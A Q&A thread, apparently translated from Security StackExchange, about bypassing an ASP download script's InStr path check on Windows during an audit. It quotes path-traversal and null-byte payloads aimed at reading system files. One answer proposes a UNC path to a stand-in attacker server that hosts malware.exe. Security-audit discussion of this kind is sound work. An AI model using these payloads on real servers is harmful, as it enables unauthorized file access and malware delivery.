Posible vulnerabilidad de descarga arbitraria de archivos

4

Estoy auditando una posible pieza vulnerable de código ASP en un entorno Windows. El código es el siguiente:

If InStr(strPath, "\Only\Download\From\Here\", CompareMethod.Text) = 0 Then

Básicamente, se supone que solo debe permitir que el script de descarga obtenga los archivos de esa ubicación. El servidor web tiene el recorrido del directorio desactivado . Esto significa que el siguiente envío no funcionará y, de hecho, devolverá un 403 prohibido:

\Only\Download\From\Here\..\..\..\..\..\c:\windows\system32\eula.txt

Debido a que la función dice "InStr" en lugar de "BeginsWith" (código psuedo), solo verifica si la Cadena contiene la ruta, pero en realidad no comienza con la ruta.

El siguiente envío pasará la cláusula If, pero se devolverá en un archivo no encontrado:

c:\windows\system32\eula.txt%00\Only\Download\From\Here\

El nullbyte inyectado aquí no hace nada e intenta encontrar el archivo que coincida con toda la cadena. También he intentado inyectar CRLF, #,; y más.

Mi pregunta es, entonces, ¿hay alguna forma de que pueda enviar una cadena de consulta que descargue archivos arbitrarios con éxito? ¿Hay alguna manera de enviar un URI de archivo que me traiga un archivo y de alguna manera comente en / Only / Download / From / Here?

Editar: Para resumir, estoy buscando una forma de "comentar" la última parte del nombre de archivo, ya sea a través de un error / característica / vulnerabilidad en ASP, servidor web o el manejo de Windows de archivos.

    
pregunta Chris Dale 29.06.2012 - 10:59
fuente

2 respuestas

2

Si bien es probable que no pueda acceder a los archivos en el sistema, todavía es una vulnerabilidad potencial si puede obtener acceso a las rutas UNC. Podría hacer que el servidor descargue archivos arbitrarios como:

\evil-server-example.com\Only\Download\From\Here\malware.exe

Simplemente configure un servidor con el uso compartido de archivos de Windows abierto a Internet, con un recurso compartido de acceso abierto. Esto hará que el archivo se descargue, ya que puede que no se almacene según la configuración del sistema operativo y el código con el que esté trabajando. Si está almacenado, es probable que esté en un directorio temporal. Es posible que pueda aprovechar esto más adelante.

    
respondido por el Polynomial 03.07.2012 - 17:32
fuente
1

Esto no puede comentar la ruta \Only\Download\From\Here\ en el archivo de código fuente ASP real, a menos que exista una vulnerabilidad diferente que permita modificar el código fuente en el servidor.

Usar CRLF, # etc es comentar o ignorar la pequeña parte de \Only\Download\From\Here\ en el archivo de código ASP real, lo cual es casi imposible.

Cada vez que se realiza una solicitud, el servidor web leerá el código fuente del archivo ASP y lo compilará. Su objetivo de descargar archivos arbitrarios solo se puede lograr si inyecta un código cargado en la memoria de los servidores web para que esa solicitud específica ignore \Only\Download\From\Here\

EDITAR: La única forma posible de explotar esto es disfrazar la ruta como lo hace el recorrido del directorio, pero no tienes esa opción aquí. Si cualquier falla en el manejo de la ruta del archivo por el servidor web o Windows en sí puede permitir que esto suceda, será una vulnerabilidad completamente diferente fuera de este código asp.

    
respondido por el Kapish M 29.06.2012 - 12:20
fuente

Lea otras preguntas en las etiquetas